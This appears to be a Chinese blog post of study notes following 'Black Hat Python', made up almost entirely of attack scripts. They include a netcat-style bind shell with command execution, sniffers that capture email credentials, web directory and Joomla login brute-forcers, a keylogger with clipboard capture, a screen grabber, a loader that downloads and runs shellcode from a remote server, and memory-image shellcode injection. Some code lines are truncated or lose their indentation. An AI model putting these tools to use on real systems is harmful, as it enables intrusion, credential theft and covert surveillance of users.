Python渗透测试

python环境:python+KaliLinux虚拟机+WingIDE

python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH

### 取代netcat ###

#!/usr/bin/python

#-*- coding:utf8 -*-

import sys, socket, getopt, threading, subprocess

# 定义一些全局变量

listen = False

command = False

upload = False

execute = ""

target = ""

upload_destination = ""

port = 0

def run_command(command):

    # 删除字符串末尾的空格

    command = command.rstrip()

    # 运行命令并将输出放回

    try:

        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

    except:

        output = "Failed to execute command.\r\n"

    # 将输出发送

    return output

def client_handler(client_socket):

    global upload

    global execute

    global command

    # 检查上传文件

    if len(upload_destination):

        # 读取所有的字符并写下目标

        file_buffer = ""

        # 持续读取数据直到没有符合的数据

        while True:

            data = client_socket.recv(1024)

            if not data:

                break

            else:

                file_buffer += data

        try:

            file_descriptor = open(upload_destination, "wb")

            file_descriptor.write(file_buffer)

            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)

        except:

            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行

    if len(execute):

        # 运行命令

        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell,那么我们进入另一个循环

    if command:

        while True:

            # 跳出一个窗口

            client_socket.send("")

            cmd_buffer = ""

            while "\n" not in cmd_buffer:

                cmd_buffer += client_socket.recv(1024)

            # 返回命令输出

            response = run_command(cmd_buffer)

            # 返回响应数据

            client_socket.send(response)

def server_loop():

    global target

    # 如果没有定义目标,那我们监听所有接口

    if not len(target):

        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((target, port))

    server.listen(5)

    while True:

        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端

        client_thread = threading.Thread(target=client_handler, args=(client_socket,))

        client_thread.start()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        # 连接到目标主机

        client.connect((target, port))

        if len(buffer):

            client.send(buffer)

        while True:

            # 现在等待数据回传

            recv_len = 1

            response = ""

            while recv_len:

                data = client.recv(4096)

                recv_len = len(data)

                response += data

                if recv_len < 4096:

                    break

            print  response

            # 等待更多的输入

            buffer = raw_input("")

            buffer += "\n"

            # 发送出去

            client.send(buffer)

    except:

        print "[*] Exception! Exiting."

    #关闭连接

    client.close()

def usage():

    print "BHP Net Tool"

    print

    print "Usage: bhpnet.py -t target_host - p port"

    print "-l --listen              - listen on [host]:[port] for incoming connections"

    print "-e --execute=file_to_run -execute the given file upon receiving a connection"

    print "-c --command             - initialize a commandshell"

    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"

    print

    print

    print "Examples:"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"

    sys.exit(0)

def main():

    global listen

    global port

    global execute

    global command

    global upload_destination

    global target

    if not  len(sys.argv[1:]):

        usage()

    # 读取命令行选项,若没有该选项则显示用法

    try:

        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])

    except getopt.GetoptError as err:

        print str(err)

        usage()

    for o,a in opts:

        if o in ("-h","--help"):

            usage()

        elif o in ("-l", "--listen"):

            listen = True

        elif o in ("-e", "--execute"):

            execute = a

        elif o in ("-c", "--commandshell"):

            command = True

        elif o in ("-u", "--upload"):

            upload_destination = a

        elif o in ("-t", "--target"):

            target = a

        elif o in ("-p", "--port"):

            port = int(a)

        else:

            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据?

    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据

        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D

        buffer = sys.stdin.read()

        # 发送数据

        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令

    # 放置一个反弹shell

    # 取决于上面的命令行选项

    if listen:

        server_loop()

#调用main函数

main()

原始套接字和流量嗅探:解码ip/解码ICMP/udp主机存活扫描

### WindowsLinux上的包嗅探 ###

#-*- coding:utf8 -*- 

import socket 

import os 

# 监听主机

host = "10.10.10.145" 

# 创建原始套接字,然后绑定在公开接口上

if  os.name == "nt": 

    socket_protocol = socket.IPPROTO_IP 

else: 

    socket_protocol = socket.IPPROTO_ICMP 

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0)) #端口为0

# 设置在捕获的数据包中包含IP头 

sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式 

if os.name == "nt": 

    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO) 

# 读取单个数据包 

print sniffer.recvfrom(65565) 

# 在Windows平台上关闭混杂模式 

if os.name == "nt": 

sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

### 解码IP层 ###

#-*- coding:utf8 -*- 

import socket 

import os 

import struct 

from ctypes import * 

host = "10.10.10.145"  # 监听主机

# ip头定义 

class IP(Structure): 

    _fields_ = [ 

        ("ihl",             c_ubyte, 4),   #ip head length:头长度 

        ("version",         c_ubyte, 4),   #版本 

        ("tos",             c_ubyte),   #服务类型 

        ("len",             c_ushort),    #ip数据包总长度 

        ("id",              c_ushort),    #标识符 

        ("offset",           c_ushort),  #片偏移 

        ("ttl",              c_ubyte),   #生存时间 

        ("protocol_num",    c_ubyte),   #协议类型

        ("sum",            c_ushort),     #头部校验和 

        ("src",             c_ulong),    #源ip地址 

        ("dst",             c_ulong)    #目的ip地址 

    ] 

    def __new__(self, socket_buffer=None): 

        return  self.from_buffer_copy(socket_buffer) 

    def __init__(self, socket_buffer=None): 

        # 协议字段与协议名称的对应 

        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} 

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示

        self.src_address = socket.inet_ntoa(struct.pack("

        self.dst_address = socket.inet_ntoa(struct.pack("

        # 协议类型

        try: 

            self.protocol = self.protocol_map[self.protocol_num] 

        except: 

            self.protocol = str(self.protocol_num) 

if  os.name == "nt": 

    socket_protocol = socket.IPPROTO_IP 

else: 

    socket_protocol = socket.IPPROTO_ICMP 

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0)) #这里端口为0

# 设置在捕获的数据包中包含IP头

sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式 

if os.name == "nt": 

    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 

try: 

    while True: 

        # 读取数据包 

        raw_buffer =  sniffer.recvfrom(65565)[0] 

        # 将缓冲区的前20个字节按IP头进行解析 

        ip_header = IP(raw_buffer[0:20]) 

        # 输出协议和通信双方IP地址 

        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 

# 处理CTRL-C 

except  KeyboardInterrupt: 

    # 如果运行再Windows上,关闭混杂模式 

    if os.name == "nt": 

        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 

Scapy(流量嗅探):窃取Email认证-ARP缓存投毒-处理PCAP文件(人脸识别)

         sniff(filter="",iface="any",prn=function,count=N)  # iface嗅探的网卡、prn自动回调函数、count嗅探个数

### 获取Email认证 ###

#-*- coding:utf8 -*- 

from scapy.all import * 

# 定义数据包回调函数 

def packet_callback(packet): 

    if packet[TCP].payload: 

        mail_packet = str(packet[TCP].payload) 

        if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 

            print "[*] Server: %s" % packet[IP].dst 

            print "[*] %s" % packet[TCP].payload 

    # print packet.show() 

# 开启嗅探器

#对常见电子邮件端口进行嗅探:110(POP3)、25(SMTP)、143(IMAP)

         #store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存 

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)

web攻击:urllib2(套接字函数库)>>暴力破解Web应用目录和文件-暴力破解HTML表格认证

### 暴力破解Web应用目录和文件 ###

#-*- coding:utf8 -*-

import urllib,urllib2,threading,Queue

threads = 50

target_url = "http://testphp.vulnweb.com"

wordlist_file = "./all.txt"

resume = None          #用于网络中断时延续上一个尝试的字符串

user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"

def built_wordlist(wordlist_file):

#读入字典文件

fd = open(wordlist_file, "rb")

raw_words = fd.readlines()

fd.close()

found_resume = False

words = Queue.Queue()

for word in raw_words:

#删除字符串末尾的空格

word  = word.rstrip()

#如果是延续上一次

if resume is not None:

if found_resume:

words.put(word)

else:

if word == resume:

found_resume = True

print "Resuming wordlist from: %s" % resume

else:

words.put(word)

return words

def dir_bruter(word_queue, extentsions=None):   

    while not word_queue.empty():   

        attempt = word_queue.get()  

        attempt_list = []  #用于储存要尝试的url 

        #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件   

        if "." not in attempt:   

            attempt_list.append("/%s/" % attempt)   

        else:   

            attempt_list.append("/%s" % attempt)   

        #暴力破解扩展名   

        if extentsions:   

            for extentsion in extentsions:   

                attempt_list.append("/%s%s" % (attempt, extentsion))   

        #迭代我们要尝试的文件列表   

        for brute in attempt_list:   

            #构造url 

            url = "%s%s" % (target_url, urllib.quote(brute))   

            #print url   

            try:   

                headers = {}   

                headers['User-Agent'] = user_agent   

                r = urllib2.Request(url, headers=headers)   

                response = urllib2.urlopen(r)   

                #print response.__dict__ 

                if len(response.read()):   

                    print "[%d] => %s" % (response.code, url)  

            except urllib2.URLError,e:   #用e接收URLError的信息  

                # code属性存在,并且code不是404

                if hasattr(e, 'code') and e.code != 404:

                    print "!!! %d => %s" % (e.code, url)

                pass

word_queue = built_wordlist(wordlist_file)

extentsions = [".php", ".bak", ".orig",".inc"]

#开启多线程扫描 

for i in range(threads):   

    t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))   

    t.start()

### 暴力破解HTML表格认证 ###

#1.检索登录页面,接收所有返回的cookie 

#2.从HTML中获取所有表单yuans 

#3.在字典中设置需要猜测的用户名和密码 

#4.发送HTTP POST数据包到登陆处理脚本,数据包含所有HTML表单元素值和cookie值 

#5.测试是否登陆成功 

#-*- coding:utf8 -*- 

import urllib, urllib2, cookielib, threading, sys, Queue, HTMLParser 

#设置 

user_thread = 10 

username ="giantbranch" 

wordlist_file ="./mydict.txt" 

resume = None 

#特点目标设置 

target_url = "http://192.168.1.105/Joomla/administrator/index.php" 

target_post = "http://192.168.1.105/Joomla/administrator/index.php" 

username_field = "username" 

password_field = "passwd" 

#登陆成功后,title里面就有下面的文字

success_check = "Administration - Control Panel" 

class BruteParser(HTMLParser): 

    def __init__(self): 

        HTMLParser.__init__(self) 

        self.tag_results = {} 

    def handle_starttag(self, tag, attrs): 

        #判断是否是input标签 

        if tag == "input": 

            tag_name = None 

            tag_value = None 

            for name,value in attrs: 

                #input标签里面不是有name,value,type等属性吗,这里只判断name和value 

                #不过我觉得第二个if是多余的 

                if name == "name": 

                    tag_name = value 

                if name == "value": 

                    tag_value = value 

                if tag_name is not None: 

                    self.tag_results[tag_name] = value 

class Bruter(object): 

    def __init__(self, username, words): 

        self.username = username 

        self.password_q = words 

        self.found = False 

        print "Finished setting up for %s" % username 

    def run_bruteforce(self): 

        for i in range(user_thread): 

            t = threading.Thread(target=self.web_bruter) 

            t.start() 

    def web_bruter(self): 

        while not self.password_q.empty() and not self.found: 

            #从字典获取密码,并去除右边的空格 

            brute = self.password_q.get().rstrip() 

            #使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie 

            jar = cookielib.FileCookieJar("cookies") 

            #用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中 

            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) 

            response =opener.open(target_url) 

            page = response.read() 

            print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()) 

            #解析隐藏区域(表单) 

            parser = BruteParser()  

            parser.feed(page) 

            #已经含有隐藏表单的键值 

            post_tags = parser.tag_results 

            #添加我们的用户名和密码区域 

            post_tags[username_field] = self.username 

            post_tags[password_field] = brute 

            #输出post的数据(键值) 

            # for key,value in post_tags.items(): 

            #     print key,':',value 

            #url编码post的数据,开始尝试登陆 

            login_data = urllib.urlencode(post_tags) 

            login_response =opener.open(target_post, login_data) 

            login_result = login_response.read() 

            # 判断是否登陆成功 

            if success_check in login_result: 

                #设置为True,让循环结束 

                self.found = True 

                print "[*] Bruteforce successful." 

                print "[*] Username: %s" % username 

                print "[*] Password: %s" % brute 

                print "[*] Waiting for other threads to exit..." 

def built_wordlist(wordlist_file): 

    #读入字典文件 

    fd = open(wordlist_file, "rb") 

    raw_words = fd.readlines() 

    fd.close() 

    found_resume = False 

    words = Queue.Queue() 

    for word in raw_words: 

        #删除字符串末尾的空格 

        word  = word.rstrip() 

        #如果是延续上一次 

        if resume is not None: 

            if found_resume: 

                words.put(word) 

            else: 

                if word == resume: 

                    found_resume = True 

                    print "Resuming wordlist from: %s" % resume 

        else: 

            words.put(word) 

    return words 

#构造字典 

words = built_wordlist(wordlist_file) 

#初始化Bruter类 

bruter_obj = Bruter(username, words) 

#调用run_bruteforce函数 

bruter_obj.run_bruteforce()

python实现木马pyHook+pythoncom>>键盘记录(win32clipboard)-截取屏幕快照-shellcode执行

### 键盘记录 ###

#-*- coding:utf8 -*-

import pythoncom, pyHook, win32clipboard, ctypes

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

# 获取前台窗口句柄

hwnd = user32.GetForegroundWindow()

# 获得进程ID

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

# 保存当前进程ID

process_id = "%d" % pid.value

# 申请内存

executable = create_string_buffer("\x00" * 512)

# 打开进程

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

# 获取进程所对应的可执行文件的名字

psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

# 读取窗口标题

window_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

# 输出进程相关信息

print

print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)

print

# 关闭句柄

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

def keyStore(event):

global current_window

# 检查目标是否切换了窗口

if event.WindowName != current_window:

current_window = event.WindowName

get_current_process()

# 检测按键是否为常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii < 127:

print chr(event.Ascii),

else:

# 若输入为[CTRL-V],则获取剪切板内容

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE] - %s" % (pasted_value),

else:

print "[%s]" % event.Key,

# 返回直到下一个钩子事件被触发

return True

# 创建和注册钩子函数管理器

k1 =pyHook.HookManager()

k1.KeyDown = keyStore

# 注册键盘记录的钩子,然后永久执行

k1.HookKeyboard()

pythoncom.PumpMessages()

### 截取屏幕快照 ###

#-*- coding:utf8 -*-

import win32gui, win32ui, win32con, win32api

# 获取窗口桌面的句柄

hdesktop = win32gui.GetDesktopWindow()

# 获得显示屏的像素尺寸

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc = win32gui.GetWindowDC(hdesktop)

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中

mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件中

screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")

# 释放对象

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

### Python方式的shellcode执行 ###

#-*- coding:utf8 -*-

import urllib2, ctypes, base64

# 从搭建的服务器下下载shellcode

url = "http://10.10.10.128:8000/shellcode.bin"

response = urllib2.urlopen(url)

# 解码shellcode

shellcode = base64.b64decode(response.read())

# 申请内存空间

shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# 创建shellcode的函数指针

shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))

# 执行shellcode

shellcode_func()

### 直接代码注入 ###

#-*- coding:utf8 -*-   

from immlib import * 

class cc_hook(LogBpHook): 

def __init__(self):

LogBpHook.__init__(self)

self.imm = Debugger()

def run(self, regs):

self.imm.log("%08x" % regs['EIP'], regs['EIP'])

self.imm.deleteBreakpoint(regs['EIP'])

return

def main(args): 

imm = Debugger()

calc = imm.getModule("calc.exe")

imm.analyseCode(calc.getCodebase())

functions = imm.getAllFunctions(calc.getCodebase())

hooker = cc_hook()

for function in functions:

hooker.add("%08x" % function, function)

return "Tracking %d functions." % len(functions)

#-*- coding:utf8 -*-   

import sys, struct

equals_button = 0x01005D51

# 要分析的内存文件位置

memory_file = "D:\\Windows XP Professional-f6b49762.vmem"

slack_space = None

trampoline_offset = None

# 读入shellcode

sc_fd = open("cmeasure.bin", "rb")

sc = sc_fd.read()

sc_fd.close()

sys.path.append("D:\\volatility-2.3")

import volatility.conf as conf

import volatility.registry as registry

registry.PluginImporter()

config = conf.ConfObject()

import volatility.commands as commands

import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)

registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()

config.PROFILE = "WinXPSP3x86"

config.LOCATION = "file://%s" % memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)

for process in p.calculate():

if str(process.ImageFileName) == "calc.exe":

print "[*] Found calc.exe with PID %d" % process.UniqueProcessId

print "[*] Hunting for physical offsets...please wait."

address_space = process.get_process_address_space()

pages = address_space.get_available_pages()

# page[0]:页面地址

# page[1]:页面大小

for page in pages:

physical = address_space.vtop(page[0])

if physical is not None:

fd = open(memory_file, "r+")

fd.seek(physical)

buf = fd.read(page[1])

try:

offset = buf.index("\x00" * len(sc))

slack_space = page[0] + offset

print "[*] Found good shellcode location!"

print "[*] Virtual address: 0x%08x" % slack_space

print "[*] Physical address: 0x%08x" % (physical + offset)

print "[*] Injecting shellcode."

fd.seek(physical + offset)

fd.write(sc)

fd.flush()

# 创建我们的跳转代码

# 对应的汇编指令为:

# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)

# jmp ebx

tramp = "\xbb%s" % struct.pack("

tramp += "\xff\xe3"

if trampoline_offset is not None:

break

except:

pass

fd.close()

# 查看目标代码的位置

if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):

print "[*] Found our trampoline target at: 0x%08x" % (physical)

# 计算虚拟偏移

v_offset = equals_button - page[0]

# 计算物理偏移

trampoline_offset = physical+ v_offset

print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)

if slack_space is not None:

break

print "[*] Writing trampoline..."

fd = open(memory_file, "r+")

fd.seek(trampoline_offset)

fd.write(tramp)

fd.close()

print "[*] Done injecting code."

你可能感兴趣的:(IS)